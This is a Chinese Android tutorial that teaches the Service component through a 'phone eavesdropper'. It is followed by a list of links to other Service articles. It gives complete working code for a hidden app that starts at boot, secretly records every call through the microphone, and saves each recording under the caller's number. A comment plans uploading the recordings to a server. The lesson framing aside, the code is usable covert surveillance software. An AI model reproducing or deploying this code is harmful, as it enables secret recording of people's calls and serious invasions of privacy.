Android中 服务Service 电话窃听器

组件—服务

后台长期运行的没有界面的一个activity。

电话窃听器:

需求:

1.没有界面,一般用户看不到,开机自动启动

2.长期的后台运行,监视当前用户的手机状态

3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。

创建服务的步骤:

1.写一个类,继承系统的Service组件

2.清单文件配置

3.在服务的onCreate()方法做服务初始化的操作

4.在服务的onDestroy()方法里面做服务扫尾操作

5.开启服务startService(intent) stopService(intent)。

一.自己写界面控制服务的开启和关闭

xml文件很简单,就两个button开启服务和关闭服务,不给出了。

MainActivity.java文件,

package com.itheima.phonelistener;

import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	/**
	 * 开启服务按钮对应的点击时间
	 * @param view
	 */
	public void start(View view){
		//定义服务的意图对象
		Intent intent = new Intent(this,PhoneStatusService.class);
		startService(intent);
	}

	/**
	 * 关闭服务按钮对应的点击时间
	 * @param view
	 */
	public void stop(View view){
		Intent intent = new Intent(this,PhoneStatusService.class);
		stopService(intent);
	}
}

服务PhoneStatusService.java文件,

package com.itheima.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioSource;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneStatusService extends Service {

	public static final String TAG = "PhoneStatusService";
	//声明手机电话系统状态管理的服务类
	private TelephonyManager tm;
	//电话状态的监听器
	private MyPhoneListener myPhoneListener;
	//定义一个电话录音机
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent arg0) {
		return null;
	}

	//Called by the system when the service is first created
	//当服务第一次被创建的时候执行,由系统执行的。
	@Override
	public void onCreate() {
		//获取手机电话状态管理的服务。
		tm  = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
		//创建一个监听器,监听电话呼叫状态的变化。
		myPhoneListener = new MyPhoneListener();
		//开始监听用户的通话状态
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);

		super.onCreate();
	}
	//Called by the system to notify a Service that it is no longer used and is being removed
	//当服务被停止的时候调用。
	@Override
	public void onDestroy() {
		//服务停止取消电话的监听器
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);
		myPhoneListener = null;
		super.onDestroy();
	}
	private class MyPhoneListener extends PhoneStateListener{

		//当手机呼叫状态变化的时候 执行下面代码。
		//state 电话的状态
		//incomingnumber 来电号码
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				//判断我们当前手机的通话状态
				switch (state) {
				//手机处于空闲状态,没有人打电话 没有零响
				case TelephonyManager.CALL_STATE_IDLE:
					Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡");
					if(mediaRecorder!=null){
						//8.停止录音
						mediaRecorder.stop();
						//9.释放资源。
						mediaRecorder.release();
						//方便垃圾回收器回收掉资源
						mediaRecorder = null;
						//上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。
					}
					break;
				//手机零响状态
				case TelephonyManager.CALL_STATE_RINGING:
					Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。");
					//1.第一步创建一个多媒体录音机的实例
					mediaRecorder = new MediaRecorder();
					//2.指定录音机的音频源 录音的音源是麦克风
					mediaRecorder.setAudioSource(AudioSource.MIC);
					//3.指定这个音频文件的格式 。
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					//4.指定录出来的音频文件保存的文件路径
					File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					//5.设置音频的编码格式
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					//6.准备开始录音
					mediaRecorder.prepare();
					break;
				//电话接通状态,用户正在打电话
				case TelephonyManager.CALL_STATE_OFFHOOK:
					Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。");
					if(mediaRecorder!=null){
						//7.开始录音
						mediaRecorder.start();
					}
					break;
				}
				super.onCallStateChanged(state, incomingNumber);
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

	}

}

配置文件AndroidManifest.xml添加

<service android:name="com.itheima.phonelistener.PhoneStatusService" >
        </service>
<!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 录音需要权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <!-- 写sd卡 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

二.开机自动启动服务

配置文件AndroidManifest.xml添加

<!--
    接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动,
    在4.0以后的版本 不包括4。0必须要添加开机启动的权限
    -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

自定义开机广播接受者,

package com.itheima.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class BootCompleteReceiver extends BroadcastReceiver {

	private static final String TAG = "BootCompleteReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务");
		Intent i = new Intent(context,PhoneStatusService.class);
		context.startService(i);
	}

}

查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。

时间: 2024-10-07 00:40:57

Android中 服务Service 电话窃听器的相关文章

(转载)Android中的Service:Binder,Messenger,AIDL(2)

前言 前面一篇博文介绍了关于Service的一些基本知识,包括service是什么,怎么创建一个service,创建了一个service之后如何启动它等等.在这一篇博文里有一些需要前一篇铺垫的东西,建议没有看过前一篇博文的同学先去看一下前一篇: Android中的Service:默默的奉献者 (1) . 但是在前一篇博文中也有一些遗漏的东西--主要是关于bindService()这一块的具体细节.由于这一块涉及的东西还是比较多,所以在这里单独提出来了.闲话不多说,进入正文. 1.bindServ

Android中保持Service的存活

这几天一直在准备考试,总算有个半天时间可以休息下,写写博客. 如何让Service keep alive是一个很常见的问题. 在APP开发过程中,需要Service持续提供服务的应用场景太多了,比如闹钟需要作出及时提醒,那么比如得有一个Service不断去比较当前时间和设置时间:QQ要能流畅的聊天,必然也需要及时接收消息等. 但是Android并没有保证Service有这样功能,毕竟一个系统面对的是用户,必然以对用户友好为先. 关于如何让Service keep alive,我在上篇博客给出的解

Android中的Service:Binder,Messenger,AIDL(2)

前言 前面一篇博文介绍了关于Service的一些基本知识,包括service是什么,怎么创建一个service,创建了一个service之后如何启动它等等.在这一篇博文里有一些需要前一篇铺垫的东西,建议没有看过前一篇博文的同学先去看一下前一篇: Android中的Service:默默的奉献者 (1) . 但是在前一篇博文中也有一些遗漏的东西--主要是关于bindService()这一块的具体细节.由于这一块涉及的东西还是比较多,所以在这里单独提出来了.闲话不多说,进入正文. 正文 1,bindS

Android 中的 Service 全面总结详解【下】

上一篇文章Android 中的 Service 全面总结详解[下] 介绍了Service的一些知识以及本地Service的使用,如果对Service还不太了解的建议先看下上篇文章:本文主要接着上一篇讲下远程服务的使用: 在说到远程服务的时候,我们需要先了解一些预备的知识: 首先来了解一下AIDL机制: AIDL的作用 由于每个应用程序都运行在自己的进程空间,并且可以从应用程序UI运行另一个服务进程,而且经常会在不同的进程间传递对象.在Android平台,一个进程通常不能访问另一个进程的内存空间,

(转)Android 中的 Service 全面总结

转自 http://www.cnblogs.com/newcj/archive/2011/05/30/2061370.html 1.Service的种类   按运行地点分类: 类别 区别  优点 缺点   应用 本地服务(Local) 该服务依附在主进程上,  服务依附在主进程上而不是独立的进程,这样在一定程度上节约了资源,另外Local服务因为是在同一进程因此不需要IPC,也不需要AIDL.相应bindService会方便很多.  主进程被Kill后,服务便会终止.  非常常见的应用如:HTC

Android 中的 Service 全面总结

原文地址:http://www.cnblogs.com/newcj/archive/2011/05/30/2061370.html 1.Service的种类 按运行地点分类: 类别 区别  优点 缺点   应用 本地服务(Local) 该服务依附在主进程上,  服务依附在主进程上而不是独立的进程,这样在一定程度上节约了资源,另外Local服务因为是在同一进程因此不需要IPC,也不需要AIDL.相应bindService会方便很多.  主进程被Kill后,服务便会终止.  非常常见的应用如:HTC

Android 中的 Service 全面总结 (转)

原文地址:http://www.cnblogs.com/newcj/archive/2011/05/30/2061370.html 1.Service的种类   按运行地点分类: 类别 区别  优点 缺点   应用 本地服务(Local) 该服务依附在主进程上,  服务依附在主进程上而不是独立的进程,这样在一定程度上节约了资源,另外Local服务因为是在同一进程因此不需要IPC,也不需要AIDL.相应bindService会方便很多.  主进程被Kill后,服务便会终止.  非常常见的应用如:H

Android中的Service与进程间通信(IPC)详解

Service 什么是Service 在后台长期运行的没有界面的组件.其他组件可以启动Service让他在后台运行,或者绑定Service与它进行交互,甚至实现进程间通信(IPC).例如,可以让服务在后台处理网络交互,播放音乐,文件I/O,或者与ContentProvider交互. 创建一个Service 新建一个类,继承Service,重写相关方法,如onBind,onUnBind,onCreate,onDestorey. 在AndroidManifest.xml中配置Service和相关权限

android 中的Service

Service用处 耗时比较长的功能操作放在后台.(下载,MP3播放) Service是一个应用程序组件 Service没有图形化界面 可以使用Service来更新ContentProvider,发送Intent以及启动系统的通知等等. Service不是一个单独的进程,Service不是一个线程. Service的生命周期 onCreat():当Service第一次被创建时,由系统调用. onStartConmmand():是从Android2.0以后的版本开始使用,Service启动时会由系